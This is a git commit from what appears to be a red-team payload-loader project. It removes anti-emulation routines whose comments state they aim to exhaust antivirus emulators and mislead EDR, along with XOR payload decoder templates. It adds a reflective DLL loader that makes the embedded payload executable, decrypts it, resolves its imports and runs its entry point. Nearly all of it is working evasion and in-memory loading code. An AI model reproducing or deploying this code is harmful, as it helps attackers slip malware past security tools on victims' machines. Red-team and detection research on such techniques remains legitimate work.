refactor: move carrier plugins around

This commit is contained in:
Dobin Rutishauser
2024-06-16 07:45:25 +02:00
parent 46447af57b
commit 63c670850f
11 changed files with 223 additions and 3 deletions
-4
View File
@@ -1,4 +0,0 @@
void antiemulation() {
// None
}
@@ -1,54 +0,0 @@
#define ALLOC_NUM 256
/* This will allocate ALLOC_NUM RW memory regions,
set them to RX, and free them
The idea is that the AV emulator will probably give up, either because
of used memory is above maximum, or amount of instructions, or
number of API calls, or time.
It hopefully also makes the EDR think this program is doing some
kind of interpreter or JIT compilation, and not a malicious payload.
*/
void antiemulation() {
void* allocs[ALLOC_NUM];
DWORD result;
for(int i=0; i<4; i++) {
for(int n=0; n<ALLOC_NUM; n++) {
allocs[n] = VirtualAlloc(
NULL,
0x1000,
0x3000,
p_RW
);
}
for(int n=0; n<ALLOC_NUM; n++) {
if (VirtualProtect(
allocs[n],
1000,
p_RX,
&result) == 0)
{
return 7;
}
}
Sleep(200);
BOOL bSuccess;
for(int n=0; n<ALLOC_NUM; n++) {
bSuccess = VirtualFree(
allocs[n],
1000,
0x00008000); // MEM_RELEASE
}
}
}
@@ -1,30 +0,0 @@
/* Busy sleep with time register
This function will busy sleep for the given amount of time.
It uses the kernel time register, which is not affected by
the sleep function (memory address 0x7ffe0004).
This may defeat the AV emulator (maximum time).
*/
int get_time_raw() {
ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
return kernelTime;
}
int sleep_ms(DWORD sleeptime) {
DWORD start = get_time_raw();
while (get_time_raw() - start < sleeptime) {}
}
void antiemulation() {
sleep_ms(3000);
}
-3
View File
@@ -1,3 +0,0 @@
for (int n=0; n<{{PAYLOAD_LEN}}; n++) {
dest[n] = supermega_payload[n];
}
-5
View File
@@ -1,5 +0,0 @@
// Single byte XOR key
for (int n=0; n<{{PAYLOAD_LEN}}; n++){
dest[n] = supermega_payload[n];
dest[n] = dest[n] ^ {{XOR_KEY}};
}
-5
View File
@@ -1,5 +0,0 @@
// Multibyte XOR
char *key = "{{XOR_KEY2}}";
for ( int i = 0; i < {{PAYLOAD_LEN}}; i++ ) {
dest[i] = supermega_payload[i] ^ key[i % 2];
}
View File
-1
View File
@@ -1 +0,0 @@
WinExec("C:\\windows\\system32\\notepad.exe", 1);
@@ -0,0 +1,220 @@
#include <Windows.h>
#include <time.h>
char *supermega_payload;
#define p_RW 0x04
#define p_RX 0x20
#define p_RWX 0x40
/* DLL loader
This code will load a DLL (not a shellcode!) into memory,
resolve its imports, apply relocations, and execute it.
Loader is based on:
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
with some patches to make it work here
*/
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
typedef BOOL (WINAPI *DLLEntry)(HINSTANCE, DWORD, LPVOID);
void mymemcpy(void* dest, const void* src, size_t n) {
char* d = (char*)dest;
const char* s = (const char*)src;
for (size_t i = 0; i < n; ++i) {
d[i] = s[i];
}
}
DWORD_PTR load_dll(LPVOID dllBase, DWORD_PTR *ret_dllBase, DWORD *ret_aoep) {
// get this module's image base address
//PVOID imageBase = GetModuleHandleA(NULL);
// dllBase is expected to be page-aligned
if ((DWORD_PTR)dllBase & 0xFFF)
{
MessageBoxW(0, L"Not page aligned", L"Not page aligned", MB_OK);
}
// get pointers to in-memory DLL headers
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + dosHeaders->e_lfanew);
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
/*
// VirtualProtect the sections correctly
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
DWORD protect;
if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE)
{
protect = PAGE_EXECUTE_READWRITE;
}
else if (section->Characteristics & IMAGE_SCN_MEM_WRITE)
{
protect = PAGE_READWRITE;
}
else
{
protect = PAGE_READONLY;
}
DWORD_PTR sectionDestination = section->VirtualAddress + (DWORD_PTR)dllBase;
DWORD_PTR sectionSize = section->SizeOfRawData;
DWORD oldProtect;
VirtualProtect((LPVOID)sectionDestination, sectionSize, protect, &oldProtect);
section++;
}
*/
// Overwrite PE header: First 0x1000 bytes
/*
// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// get delta between this module's image base and the DLL that was read into memory
// copy over DLL image headers to the newly allocated space for the DLL
mymemcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
// copy over DLL image sections to the newly allocated space for the DLL
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
mymemcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
section++;
}
*/
// perform image base relocations
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
DWORD relocationsProcessed = 0;
while (relocationsProcessed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
for (DWORD i = 0; i < relocationsCount; i++)
{
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
// THIZ
if (relocationEntries[i].Type == 0)
{
continue;
}
DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
//DWORD_PTR addressToPatch = 0;
//ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
DWORD_PTR* addressToPatch = (DWORD_PTR*)((BYTE*)dllBase + relocationRVA);
//DWORD_PTR value = *addressToPatch;
*addressToPatch += deltaImageBase;
//mymemcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
}
}
MessageBoxW(0, L"AAA2", L"AAA2", MB_OK);
// resolve import address table
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName;
HMODULE library = NULL;
while (importDescriptor->Name != NULL)
{
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);
if (library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);
while (thunk->u1.AddressOfData != NULL)
{
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}
importDescriptor++;
}
*ret_dllBase = (DWORD_PTR)dllBase;
*ret_aoep = ntHeaders->OptionalHeader.AddressOfEntryPoint;
return 0;
}
int main()
{
// char* dest = VirtualAlloc(0, {{PAYLOAD_LEN}}, 0x3000, PAGE_EXECUTE_READWRITE);
//char* dest = VirtualAlloc(0, 0x7000, 0x3000, PAGE_EXECUTE_READWRITE);
char* dest = supermega_payload;
DWORD protect, oldProtect;
protect = PAGE_EXECUTE_READWRITE;
VirtualProtect((LPVOID)dest, 0x7000, protect, &oldProtect);
MessageBoxW(0, L"ok virtualprotect", L"AAA2", MB_OK);
// FROM supermega_payload[]
// TO dest[]
// Including decryption
{{ plugin_decoder }}
MessageBoxW(0, L"ok copy", L"AAA2", MB_OK);
// Load the DLL at dest
DWORD_PTR dllBase;
DWORD aoep;
load_dll( (void *) dest, &dllBase, &aoep);
DLLEntry DllEntry = (DLLEntry)(dllBase + aoep);
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
return 0;
}